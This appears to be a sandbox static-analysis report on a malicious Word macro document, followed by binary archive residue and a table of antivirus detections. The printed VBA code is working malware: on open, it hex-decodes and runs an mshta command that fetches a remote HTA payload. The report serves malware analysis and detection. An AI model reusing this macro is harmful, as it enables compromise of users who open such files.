popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "NewMacros"
Const wwfxmpquap = 0
Private Function uvwycgyhqtmt(ByVal zjkvoxjeyiqc As String) As String
Dim tkwzqharcnkh As Long
For tkwzqharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2
uvwycgyhqtmt = uvwycgyhqtmt & Chr$(Val("&H" & Mid$(zjkvoxjeyiqc, tkwzqharcnkh, 2)))
Next tkwzqharcnkh
End Function
Sub psjmjmntntn(kmsghjrsxteynvkbz As String)
With CreateObject(uvwycgyhqtmt("5753637269") & uvwycgyhqtmt("70742e5368656c6c"))
.Run kmsghjrsxteynvkbz, wwfxmpquap, True
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
.Solid
End With
Selection.WholeStory
Content = uvwycgyhqtmt("6d7368746120687474703a2f2f766e6578742e6d697265") & uvwycgyhqtmt("656e652e636f6d2f7468656d652f62617369632f736b696e2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
psjmjmntntn (Content)
Selection.Collapse
ActiveDocument.Save
End Sub

Deobfuscated

                                        Attribute VB_Name = "NewMacros"
Const wwfxmpquap = 0
Private Function uvwycgyhqtmt(ByVal zjkvoxjeyiqc As String) As String
Dim tkwzqharcnkh As Long
For tkwzqharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2
uvwycgyhqtmt = uvwycgyhqtmt & Chr$(Val("&H" & Mid$(zjkvoxjeyiqc, tkwzqharcnkh, 2)))
Next tkwzqharcnkh
End Function
Sub psjmjmntntn(kmsghjrsxteynvkbz As String)
With CreateObject(uvwycgyhqtmt("5753637269") & uvwycgyhqtmt("70742e5368656c6c"))
.Run kmsghjrsxteynvkbz, wwfxmpquap, True
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
.Solid
End With
Selection.WholeStory
Content = uvwycgyhqtmt("6d7368746120687474703a2f2f766e6578742e6d697265") & uvwycgyhqtmt("656e652e636f6d2f7468656d652f62617369632f736b696e2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
psjmjmntntn (Content)
Selection.Collapse
ActiveDocument.Save
End Sub
[Content_Types].xml
_rels/.rels
word/_rels/document.xml.rels
word/document.xml
;lwK66
z_[d9Z
_3m#I&E
Kpapa]R
>C-1u=
C0+0+0+M
ei<Gc
>1J"/n
J/rO5tV
@34h:#G
3,k+ZY32
word/endnotes.xml
yFfIkgq
word/header1.xml
$>0S2e
word/footnotes.xml
0>o-/H
word/media/image1.png
IDATx^
4hX(Uv
w2dHu
_k&wMgPK?
G%R+.yx
2}46Yq
nsKfPQF
Ic=uXX
FOyvr!v
x-{);
ZQthyt{
@nhWo~8
e}Q%w1
_ppv[-
d[5+%S
ItM9t@w
VnsX*U
>)tViv
^6li4n
0^X=I6
C0mgW1
>X!/;mo-
(T2}rB,{
RF9cG-
C-xUN.
yET6pA
oKrgWH
*W$]XKI
UMF'!;R+
cSp%KR
1$d[,O
h-%[Q1|
EX/w"6
sAu Ut-
O/~v"~
oL|cM}^
jcn=NP}
x}=Qhgn
[`9(.<
ZV_aA
g/b]Sa
g)ex#r
c3;HFOT
asw)eX
{H(sxU
>os(LH
E~vx?[Da
zUv4OyJU
+EB?8o
)Q^=Ow
6VZ2{3
41FmQ8
cG1go|U
e=_.Xbh
F.>a`jsJ=
c(sFKp
: l7QC*
EbW>+V
1[X%jpM-R
TUj6U)
ZkT:e
M.L5|'
;s4X-y;5{
:&D_*P
?zbx|L
'Ke8RZe
4nT6ua
xa*#=95
B=.#GO
l]z6D/
])FaA|
|yEmwK
:{czu|8AT
|,yo+9
ls4(^m,4
nQ%sS{
UMrOQb
tmmgPUw
IG%}cC8
zISs(V5S?
urJN3]
)SVZot
kevFWv
!N&w=6
word/theme/theme1.xml
,LcQ\tg
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaProject.bin
b,YJc9
DCKJFr
\MMM6k
\8jz40
R0:~b2
O$lfkkaB
kNmnTv.
@olAa|x
wD$b7;
X]L,XMp
bDrz[k
+Ro|t,
word/settings.xml
c\iIr$
p/1&<S
word/vbaData.xml
word/webSettings.xml
|pm*).-]
word/styles.xml
%/a"]b
5g?px{;w
I-3E*H
q#:' 7
T#xVKP
docProps/app.xml
:5;/$I
}cd|x7
docProps/core.xml
word/fontTable.xml
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/endnotes.xmlPK
word/header1.xmlPK
word/footnotes.xmlPK
word/media/image1.pngPK
word/theme/theme1.xmlPK
word/_rels/vbaProject.bin.relsPK
word/vbaProject.binPK
word/settings.xmlPK
word/vbaData.xmlPK
word/webSettings.xmlPK
word/styles.xmlPK
docProps/app.xmlPK
docProps/core.xmlPK
word/fontTable.xmlPK
Antivirus Signature
Bkav Clean
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.33572223
FireEye Trojan.GenericKD.33572223
CAT-QuickHeal O97M.Downloader.36951
McAfee RDN/Generic Downloader.x
Malwarebytes Clean
VIPRE Clean
Sangfor Malware.Generic-Macro.Save.7f97160f
Trustlook Clean
BitDefender Trojan.GenericKD.33572223
K7GW Clean
K7AntiVirus Clean
Baidu Clean
Cyren PP97M/Downldr.gen
Symantec W97M.Downloader
TotalDefense Clean
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
ClamAV Doc.Dropper.Agent-7601883-0
Kaspersky HEUR:Trojan-Downloader.Script.Generic
Alibaba TrojanDownloader:VBA/Obfuscation.A
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot W97M.S.Downloader.83081
AegisLab Trojan.Script.Generic.a!c
Rising Downloader.Obfuse!8.105AD (TOPIS:E0:FjHecNdIxsO)
Ad-Aware Trojan.GenericKD.33572223
TACHYON Suspicious/WOX.Obfus.Gen.8
Emsisoft Trojan.GenericKD.33572223 (B)
Comodo Malware@#1oi6zkr5uwftx
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro HEUR_VBA.O2
McAfee-GW-Edition BehavesLike.Downloader.mc
CMC Clean
Sophos Troj/DocDl-XPS
Ikarus Trojan-Downloader.O97M.Obfuse
GData Trojan.GenericKD.33572223
Jiangmin Clean
Avira Clean
Antiy-AVL Trojan[Downloader]/Script.AGeneric
Kingsoft Clean
Microsoft TrojanDownloader:O97M/Obfuse!MTB
Gridinsoft Clean
Arcabit HEUR.VBA.CG.1
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
Avast-Mobile Clean
Cynet Clean
AhnLab-V3 Downloader/Doc.Generic
Acronis Clean
BitDefenderTheta Clean
ALYac Trojan.Downloader.DOC.Gen
MAX malware (ai score=100)
VBA32 Clean
Zoner Probably Heur.W97Obfuscated
ESET-NOD32 VBA/TrojanDownloader.Agent.RVA
Tencent Heur:Trojan.Script.LS_Gencirc.7162455.0
Yandex Clean
SentinelOne Static AI - Malicious OPENXML
MaxSecure Clean
Fortinet W32/Agent.RVA!tr
AVG Other:Malware-gen [Trj]
Panda Clean
Qihoo-360 virus.office.obfuscated.1
No IRMA results available.